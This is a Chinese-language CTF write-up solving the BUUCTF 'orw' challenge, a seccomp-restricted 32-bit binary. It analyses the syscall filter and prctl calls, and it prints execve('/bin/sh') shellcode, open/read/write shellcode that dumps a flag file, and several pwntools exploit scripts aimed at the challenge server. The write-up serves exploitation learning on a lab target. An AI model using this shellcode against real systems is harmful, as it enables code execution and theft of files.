限制系统调用&&shellcode
1,文件分析
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
有canary保护,但是又有存在RWX权限的段,可以考虑写入shellcode
seccomp-tools dump ./orw
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
从这里面可以看出,能用的系统调用只有open(), read(), write(),exit()
2,IDA分析
直接进入主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
(shellcode)();
return 0;
}
首先在orw_seccomp()中对系统调用做出限制,然后接受最长0xC8u的shellcode并执行
orw_seccomp()
unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h] BYREF
char *v2; // [esp+8h] [ebp-80h]
char v3[96]; // [esp+Ch] [ebp-7Ch] BYREF
unsigned int v4; // [esp+6Ch] [ebp-1Ch]
v4 = __readgsdword(0x14u);
qmemcpy(v3, &unk_8048640, sizeof(v3));
v1 = 12;
v2 = v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return __readgsdword(0x14u) ^ v4;
}
关键点在于两次prctl()函数的调用
(以下信息来自https://man7.org/linux/man-pages/man2/prctl.2.html)
//SYNOPSIS
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
/* prctl() manipulates various aspects of the behavior of the
calling thread or process.
Note that careless use of some prctl() operations can confuse the
user-space run-time environment, so these operations should be
used with care.
prctl() is called with a first argument describing what to do
(with values defined in <linux/prctl.h>), and further arguments
with a significance depending on the first one. The first
argument can be:
PR_CAP_AMBIENT (since Linux 4.3)
Reads or changes the ambient capability set of the calling
thread, according to the value of arg2, which must be one
of the following:
PR_CAP_AMBIENT_RAISE
The capability specified in arg3 is added to the
ambient set. The specified capability must already
be present in both the permitted and the
inheritable sets of the process. This operation is
not permitted if the SECBIT_NO_CAP_AMBIENT_RAISE
securebit is set.
PR_CAP_AMBIENT_LOWER
The capability specified in arg3 is removed from
the ambient set.
PR_CAP_AMBIENT_IS_SET
The prctl() call returns 1 if the capability in
arg3 is in the ambient set and 0 if it is not.
PR_CAP_AMBIENT_CLEAR_ALL
All capabilities will be removed from the ambient
set. This operation requires setting arg3 to zero.
In all of the above operations, arg4 and arg5 must be
specified as 0.*/
第一次调用prctl函数 :禁止提权
第二次调用prctl函数 :限制能执行的系统调用只有open(),write(),exit()
3,解题过程
一开始忽视了seccomp的存在
直接用最传统的shellcode
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
//execve('/bin/sh')
很显然竹篮打水一场空
后面自己想了想别的方法,既然靶机里肯定有flag文件,我们又可以执行shellcode,那就完全可以让shellcode帮我们打开flag文件(open()),读取(read())后将其打印(write())出来
下面shellcode的编写参考博客https://blog.csdn.net/qq_44768749/article/details/108256099
(技术太菜,只能边模仿边学习)
那么要完成的操作就3步
1,sys_open(‘flag’,0,0)
push 0x0
push 0x67616c66 #'flag'
mov ebx,esp
xor ecx,ecx #0
xor edx,edx #0
mov eax,0x5 #调用号
int 0x80 #sys_open(flag,0,0)
2, sys_read(3,‘flag’,0x50) (这里不知道flag长度,先留多一点空间)
mov eax,0x3; #调用号
mov ecx,ebx; #ecx = char __user *buf
mov ebx,0x3; #文件描述符 fd
mov edx,0x50; #字节数
int 0x80;
3,sys_write(1,‘flag’,0x50)
mov eax,0x4; # eax = sys_write
mov ebx,0x1; # ebx = unsigned int fd = 1
int 0x80;
exp:
from pwn import *
context.log_level = 'Debug'
r = remote('node4.buuoj.cn',29002)
e = ELF('./orw')
payload = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
payload += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x50;int 0x80')
payload += asm('mov eax,0x4;mov ebx,0x1;int 0x80')
r.sendafter(':',payload)
r.interactive()
PS, 可以直接用pwntools里面的shellcraft,还能更简洁一点
exp_pro_1 :
from pwn import *
context.log_level = 'Debug'
r = remote('node4.buuoj.cn',29002)
e = ELF('./orw')
payload = shellcraft.cat("flag")
r.sendafter(':',payload)
r.interactive()
exp_pro_2:
from pwn import *
context.log_level = 'Debug'
r = remote('node4.buuoj.cn',29002)
e = ELF('./orw')
payload = shellcraft.open('./flag')
payload += shellcraft.read(3,0x23330500,100)
payload += shellcraft.write(1,0x23330500,100)
payload = asm(payload)
r.sendafter(':',payload)
r.interactive()
要点小结
1,seccomp类的题目关键在于搞清楚限制条件,不死磕某一种思路 ,想办法拿flag(execve()和system()基本上是被ban的重灾区)
2,prctl()函数的用法要结合官方文档理解
3,shellcode的编写需要多加练习